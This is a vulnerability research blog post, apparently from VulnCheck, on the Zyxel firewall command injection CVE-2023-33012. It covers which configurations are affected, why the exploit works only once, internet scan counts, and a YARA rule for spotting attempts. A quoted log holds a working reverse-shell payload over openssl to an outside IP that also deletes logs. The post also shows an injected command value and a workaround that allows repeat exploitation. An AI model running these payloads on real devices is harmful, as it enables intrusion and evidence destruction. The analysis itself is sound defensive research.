Go back

re: Zyxel VPN Series Pre-auth Remote Command Execution

avatar
Jacob Baines@Junior_Baines

Key Takeaways

An unauthenticated command injection exploit affecting Zyxel firewalls was published in late January without an associated CVE. The vulnerability turns out to be CVE-2023-33012.
The associated disclosure did not mention any caveats to exploitation, but it turns out only an uncommon configuration is affected. There are currently about 600 internet-facing Zyxel firewalls vulnerable to this issue (out of ~26,000).
Unless the attacker takes specific measures, the exploit will only work on a target once.
There is no evidence of exploitation in the wild.

Introduction

On January 25, 2024, SSD Secure Disclosure posted a disclosure titled Zyxel VPN Series Pre-auth Remote Command Execution. The writeup describes an unauthenticated remote command injection vulnerability affecting Zyxel VPN firewalls. That caught our attention. The Zyxel VPN series has appeared on the CISA KEV four times now, and the original disclosure didn’t mention a CVE. We were very interested in the implied inadvertent patching and wanted to figure out if the vulnerability had been exploited in the wild.

We quickly learned from Zyxel PSIRT that this was not inadvertently patched. They assigned CVE-2023-33012 in an advisory published in July 2023. The advisory credits TRAPA Security for discovering the vulnerability and clarifies the issue is not isolated to VPN series. They listed the following affected models:

ProductAffected Versions
ATPV5.10 through V5.36 Patch 2
USG FLEXV5.00 through V5.36 Patch 2
USG FLEX 50(W) / USG20(W)-VPNV5.10 through V5.36 Patch 2
VPNV5.00 through V5.36 Patch 2

The affected models list is important because it demonstrates a significantly larger target set than SSD described. Shodan earmarks about 2,500 internet-facing VPN series firewalls, but there are about 26,000 instances of all the models combined.

Zyxel also provided a much wider affected range. Really, SSD provides two conflicting ranges. They write:

The affected models are VPN50, VPN100, VPN300, VPN500, and VPN1000. The affected firmware version is 5.21 thru to 5.36.

But their proof of concept checks for versions greater than or equal to 5.10:

if not title.startswith("VPN") or version == "" or float(version) < 5.10:
    print("[-] invulnerable target")
    return

Assuming the Zyxel version range is correct, we scanned the internet for exposed Zyxel firewalls using the affected ranges. We found ~7,600 firewalls (or about 33% of the firewalls that responded to our version scan) using firmware versions that are affected by CVE-2023-33012.

Internet-Facing Zyxel Firewalls Using Versions Affected by CVE-2023-33012

For an offensive-minded individual, 7600 firewalls are still a decent target set, especially when a patch/advisory had been published for six months. VulnCheck is full of offensive-minded individuals, and we just so happen to have a Zyxel USG FLEX in inventory (see previous statement about Zyxel firewalls in KEV). So, we started developing our own exploit.

But we swiftly ran into a wall.

SSD presents this vulnerability as a straightforward file upload and command injection. It is not. It both requires a special configuration and, unless the attacker knows what they are doing, can only work once.

Configuration Required

The first hint that exploitation is not going to work right out of the box is from the CVE entry itself.

attacker to execute some OS commands by using a crafted GRE configuration when the cloud management mode is enabled.

Cloud Management Mode (SD-WAN mode) is not enabled by default. So, by default, Zyxel firewalls are not vulnerable to this issue. This can be easily verified using the vulnerable endpoint itself. The following is an edited (for brevity) version of /ztp/cgi-bin/parse_config.py from USG FLEX 5.36.2:

def main():
    form = cgi.FieldStorage()
    conf_str = form.getvalue("config")
   
    print("Status: 200 OK")
    print("Content-type: text/html")
    print("")
   
    if conf_str is None:
            conf_str = ''
    else:
        if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
                logging.error("Cannot find sdwan_interface socket [%s]!" % ztpinclude.SERVER_SOCK_FILE)
                print("ParseError: 0xC0DE0005")
           else:

The important part is the check for ztpinclude.SERVER_SOCK_FILE. If this file does not exist, the script sends the client the error code ParseError: 0xC0DE0005 and then exits. This means it will never hit the vulnerable code path when that file doesn’t exist. ztpinclude.SERVER_SOCK_FILE only exists when cloud management mode is enabled.

That begs the question, “How many Zyxell firewalls using vulnerable firmware have cloud management mode enabled?” It turns out that is easy to determine as well. /ztp/cgi-bin/parse_config.py expects the caller to send base64 encoded content in the config parameter. If the script receives invalid base64 encoded data, then it will respond to the client with the error code ParseError: 0xC0DE0004. See the code below:

if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
    logging.error("Cannot find sdwan_interface socket [%s]!" % ztpinclude.SERVER_SOCK_FILE)
    print("ParseError: 0xC0DE0005")
else:
    conf_str = urllib.unquote(conf_str)    
    try:
        decoded_config = base64.b64decode(conf_str)
    except:
        logging.error("invalid base64 str %s" % conf_str)
        print("ParseError: 0xC0DE0004")
        return

In that way, we were able to scan the internet-facing Zyxel devices to determine how many used the vulnerable configuration. Of the ~7,600 that were using vulnerable firmware, we found only 607 that were using the vulnerable configuration.

Configuration of Zyxel Firewalls Using Firmware Affected By CVE-2023-33012

From the initial analysis, we went all the way from “Zyxel firewalls are affected by an unauthenticated remote command injection” to “Zyxel firewalls using an uncommon configuration are affected by unauthenticated remote command injection.” Which is a pretty important asterisk that got left out.

But that’s not the only caveat. There’s more.

You Get One Shot

The exploitation described by SSD is clever and fun to play with. The attacker can write arbitrary data to a file of their choosing using the option proto vti configuration (which Zyxel did not appear to fix in the 5.37.0 release). The attacker can then execute the file using a command injection in the option proto gre configuration. The command injection is space-limited to the point that executing a pre-upload file is the only option, so these two things work really well together.

The problem is that you can only do it once.

Looking at (edited) ps faux after exploitation, we see the following:

root    14602  S    07:14   0:00 sh -c ip addr add ; . /tmp/fYW.qsr; #/24 brd + dev gre1
root    14606  S    07:14   0:00  \_ sh -i
root    14649  R    07:14   0:00  |   \_ ps faux
root    14607  S    07:14   0:00  \_ openssl s_client -quiet -connect 10.12.70.252:1271

The injection occurs during an attempted ip addr <user provided>/24 brd + dev gre1 command. The offending code from /usr/sbin/sdwan_interface is easy to visualize in a decompiler. The order of operations turns out to be very important, but below, you can see the software brings up the GRE interface, sets the multicast transmit queue size, and auto-configures the broadcast address (where exploitation finally occurs):

Decompiled output from sdwan_interface

Upon failure of the final command, the following is logged to /tmp/sdwan_interface/sdwan_interface.log:

[Fri Feb 16 19:58:49 2024] [zld_interface_server:806] name=xBwHq, reset_interface=1
[Fri Feb 16 19:58:50 2024] [add_gre_tunnel:435] add_gre_tunnel [ERROR]: cmd error[32512]: ip addr add ; . /tmp/MGb.qsr; #/24 brd + dev gre1
[Fri Feb 16 19:58:50 2024] [apply_zone_to_kernel:22] apply zone to kernel = 1, 21, gre1

The logging and decompilation screenshots are important because they provide evidence of why this vulnerability can only be exploited once. A subsequent exploit attempt generates the following log:

[Fri Feb 16 20:10:59 2024] [zld_interface_server:806] name=XsDfb, reset_interface=1
[Fri Feb 16 20:10:59 2024] [add_gre_tunnel:420] add_gre_tunnel [ERROR]: cmd error[65280]: ifconfig gre2 up
[Fri Feb 16 20:10:59 2024] [apply_zone_to_kernel:22] apply zone to kernel = 1, 21, gre2

Here we see that the firewall has attempted operations on a new GRE interface (gre2), but the command ifconfig gre2 up fails. The interface doesn’t exist. When ifconfig gre2 up fails, ip addr add is never executed. The first successful exploitation leaves the firewall in a state where it cannot be exploited again! This important caveat was certainly never mentioned.

An attacker who knows what they are doing can work around this limitation. If the attacker removes the old GRE interface, the software will bring up a new one. Our post-exploitation script has something like:

ifconfig gre1 down; ip tunnel del gre1 mode gre;

The next time the target is exploited, it will successfully create gre2, which allows ifconfig gre2 up to run successfully and open up access to the vulnerable command.

Exploitation in the Wild

The SSD writeup gained some attention, so we were interested if anyone attempted to exploit this in the wild. For whatever reason, the firewalls make the ZTP log available to remote and unauthenticated users through the /ztp/cgi-bin/dumpztplog.py endpoint. In that log file, an exploitation attempt will look something like this:

INFO:root:ztp_led_start
INFO:root:sending "1"
INFO:root:closing socket
INFO:root:init
INFO:root:setting up vti interface
INFO:root:((cd=/tmp; mknod Hua p; sh -i < Hua 2>&1 | openssl s_client -quiet -connect 10.12.70.252:1270 > Hua; rm Hua;)&);((sleep 20; ifconfig gre1 down; ip tunnel del gre1 mode gre; rm /var/log/ztplog /tmp/sdwan_interface/sdwan_interface.log /tmp/*.qsr)&);; name=EAg; proto=vti
INFO:root:parse config error : {'((cd': '/tmp; mknod Hua p; sh -i < Hua 2>&1 | openssl s_client -quiet -connect 10.12.70.252:1270 > Hua; rm Hua;)&);((sleep 20; ifconfig gre1 down; ip tunnel del gre1 mode gre; rm /var/log/ztplog /tmp/sdwan_interface/sdwan_interface.log /tmp/*.qsr)&);', 'name': 'EAg', 'proto': 'vti'}
INFO:root:KeyError('ipaddr',)
INFO:root:ztp_led_start
INFO:root:sending "1"
INFO:root:closing socket
INFO:root:init
INFO:root:setting up gre interface
INFO:root:name=XsDfb; proto=gre; ipaddr=; . /tmp/EAg.qsr; #; localip=127.0.0.1; netmask=24; remoteip=127.0.0.1; gateway=0
[IPC]argc = 8
[IPC]IPC result: 1 

Above, you can see both the file write (line ending with proto=vti) and the command injection (line ending with gateway=0) are present. A very simple YARA rule to parse the logs for exploitation looks like:

rule Zyxel_CVE_2023_33012
{
    meta:
        description = "Zyxel ZTP Config Parser Exploit Attempt"
        path_pattern = "/ztp/cgi-bin/dumpztplog.py"
    strings:
        $vti = "proto=vti"
        $gre = "proto=gre"
        $tmp = "/tmp/"
        $qsr = ".qsr"
    condition:
        all of them
}

We grabbed the ZTP logs of all ~7,600 firewalls using vulnerable firmware and found… absolutely nothing that looked like an exploitation attempt. Of course, the ZTP log is deleted on reboot (and an attacker can delete on exploitation), but this seems like a reasonable indicator that it isn’t being widely exploited.

We did find 18,000+ log entries that read, ERROR:root:Cannot find sdwan_interface socket [/tmp/sdw_iface_server.sock]! This does prove the interface is seeing traffic, but because those endpoints aren’t vulnerable, we see nothing more in the logs.

As a final attempt to determine if this is being actively exploited in the wild, we turned to our friends at GreyNoise. Looking at raw_data.web.paths:"/ztp/cgi-bin/parse_config.py” shows no results, so they aren’t seeing the exploit hit their honeypots. They do see one IP address doing Zyxel version probing via zld_product_spec.js just like the SSD proof of concept, but that's about it.

GreyNoise flagged IP scanning for Zyxel

There’s basically no evidence that this vulnerability is being exploited in the wild at any scale, and with so few vulnerable targets remaining, we assume it never will be.

Conclusion

The goal of vulnerability disclosure should be to inform and provide actionable intelligence. Publishing incorrect, obfuscated, and/or misleading information wastes everyone’s time and only introduces more FUD to an industry that is already drowning in it. This Zyxel firewall issue did not live up to the disclosure. It only affects a specific configuration, is not easy to re-exploit, and was assigned a CVE when patched six months ago. Most Zyxel users needn’t have ever worried about it.

About VulnCheck

The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities. For more research like this, see our blogs, PaperCut Exploitation and Fileless Remote Code Execution on Juniper Firewalls . Sign up to start a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence product today.